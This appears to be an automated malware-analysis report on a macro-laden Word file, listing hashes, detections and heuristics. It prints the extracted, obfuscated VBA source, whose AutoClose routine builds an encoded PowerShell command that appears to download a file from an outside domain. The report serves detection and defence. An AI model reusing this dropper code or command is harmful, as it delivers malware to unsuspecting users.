Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6941f4c50c9c5657…

MALICIOUS

Office (OLE)

181.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: c52b675563ac998fb97322855947f116 SHA-1: a176342beb6f9c4f5a416b73cc37613f34d0644d SHA-256: 6941f4c50c9c56571936744bff0dfb6b89b378bcb4d33976d5b7c611f55e5802
182 Risk Score

Heuristics 6

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71034 bytes
SHA-256: 804cc0b15dcd6bdb89772eef341b91c0fe2639bd8e98e3b6def478b64dd51648
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const WUleUnUDybiUqeHAdEXYiIryFykaVjAjAB = 0
Sub AutoClose()
On Error Resume Next
Dim KUQiDaFYpIbmOrOayWpegAtUvoqinoCOXEKym(4)

If 13 = 13 + (5 * 0) Then
KUQiDaFYpIbmOrOayWpegAtUvoqinoCOXEKym(0) = CLng(3769)
End If
KUQiDaFYpIbmOrOayWpegAtUvoqinoCOXEKym(1) = Sqr(5)
KUQiDaFYpIbmOrOayWpegAtUvoqinoCOXEKym(2) = Month(37693769)
KUQiDaFYpIbmOrOayWpegAtUvoqinoCOXEKym(3) = Fix(3769.5)
Dim FyhywYHuZAJuGavIkEnydYjICyMUiABYqEe(4)

If 10 = 10 + (9 * 0) Then
FyhywYHuZAJuGavIkEnydYjICyMUiABYqEe(0) = CLng(3864)
End If
FyhywYHuZAJuGavIkEnydYjICyMUiABYqEe(1) = Sqr(9)
FyhywYHuZAJuGavIkEnydYjICyMUiABYqEe(2) = Month(38643864)
FyhywYHuZAJuGavIkEnydYjICyMUiABYqEe(3) = Fix(3864.9)
IHaLyNanEtEjUifiiicehuveJyjuBy = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^5^A^D^I^A^d^Q^B^k^A^G^s^A^b^A^B^3^A^H^I^A^d^Q^B^p^A^H^E^A^b^w^B^x^A^H^c^A^a^Q^B^l^A^H^I^A^d^Q^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^L^w^B^s^A^G^8^A^Z^A^B^w^A^G^8^A^c^w^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A"

Dim XYqIkaOJiJYInOLOruKuNewUFZoWahzuBIXeQ(4)

If 13 = 13 + (2 * 0) Then
Dim LIwyMSizorEJIASinErSabALiihAQe(4)

If 10 = 10 + (7 * 0) Then
LIwyMSizorEJIASinErSabALiihAQe(0) = CLng(8591)
End If
LIwyMSizorEJIASinErSabALiihAQe(1) = Sqr(7)
LIwyMSizorEJIASinErSabALiihAQe(2) = Month(85918591)
LIwyMSizorEJIASinErSabALiihAQe(3) = Fix(8591.7)
Dim HOqaxaFepaBuQyGuQBIcZALuBInzahY(4)

If 10 = 10 + (6 * 0) Then
HOqaxaFepaBuQyGuQBIcZALuBInzahY(0) = CLng(3838)
End If
HOqaxaFepaBuQyGuQBIcZALuBInzahY(1) = Sqr(6)
HOqaxaFepaBuQyGuQBIcZALuBInzahY(2) = Month(38383838)
HOqaxaFepaBuQyGuQBIcZALuBInzahY(3) = Fix(3838.6)
XYqIkaOJiJYInOLOruKuNewUFZoWahzuBIXeQ(0) = CLng(9715)
Dim luQoFEaIfaHAjJylynunDohyFufaJe(4)

If 11 = 11 + (5 * 0) Then
luQoFEaIfaHAjJylynunDohyFufaJe(0) = CLng(9758)
End If
luQoFEaIfaHAjJylynunDohyFufaJe(1) = Sqr(5)
luQoFEaIfaHAjJylynunDohyFufaJe(2) = Month(97589758)
luQoFEaIfaHAjJylynunDohyFufaJe(3) = Fix(9758.5)
Dim MAkahuDyrakIquUXUbAtuwUnyCEhoV(4)

If 10 = 10 + (8 * 0) Then
MAkahuDyrakIquUXUbAtuwUnyCEhoV(0) = CLng(7182)
End If
MAkahuDyrakIquUXUbAtuwUnyCEhoV(1) = Sqr(8)
MAkahuDyrakIquUXUbAtuwUnyCEhoV(2) = Month(71827182)
MAkahuDyrakIquUXUbAtuwUnyCEhoV(3) = Fix(7182.8)
End If
Dim fYSUvoNaDAkePesmYWUdanuJUB(4)

If 11 = 11 + (6 * 0) Then
fYSUvoNaDAkePesmYWUdanuJUB(0) = CLng(7751)
End If
fYSUvoNaDAkePesmYWUdanuJUB(1) = Sqr(6)
fYSUvoNaDAkePesmYWUdanuJUB(2) = Month(77517751)
fYSUvoNaDAkePesmYWUdanuJUB(3) = Fix(7751.6)
XYqIkaOJiJYInOLOruKuNewUFZoWahzuBIXeQ(1) = Sqr(2)
XYqIkaOJiJYInOLOruKuNewUFZoWahzuBIXeQ(2) = Month(97159715)
Dim GosOmoPyniRAZgOnQEVykAWOMaXegiVIra(4)

If 13 = 13 + (2 * 0) Then
GosOmoPyniRAZgOnQEVykAWOMaXegiVIra(0) = CLng(4044)
End If
GosOmoPyniRAZgOnQEVykAWOMaXegiVIra(1) = Sqr(2)
GosOmoPyniRAZgOnQEVykAWOMaXegiVIra(2) = Month(40444044)
GosOmoPyniRAZgOnQEVykAWOMaXegiVIra(3) = Fix(4044.2)
Dim BizYQIrYtUCukIGEjaKLafiwUVyliRY(4)

If 10 = 10 + (10 * 0) Then
BizYQIrYtUCukIGEjaKLafiwUVyliRY(0) = CLng(3778)
End If
BizYQIrYtUCukIGEjaKLafiwUVyliRY(1) = Sqr(10)
BizYQIrYtUCukIGEjaKLafiwUVyliRY(2) = Month(37783778)
BizYQIrYtUCukIGEjaKLafiwUVyliRY(3) = Fix(3778.1)
XYqIkaOJiJYInOLOruKuNewUFZoWahzuBIXeQ(3) = Fix(9715.2)
Dim MYtIxyBehOpeACAcTycaiocOTeryS(4)

If 13 = 13 + (8 * 
... (truncated)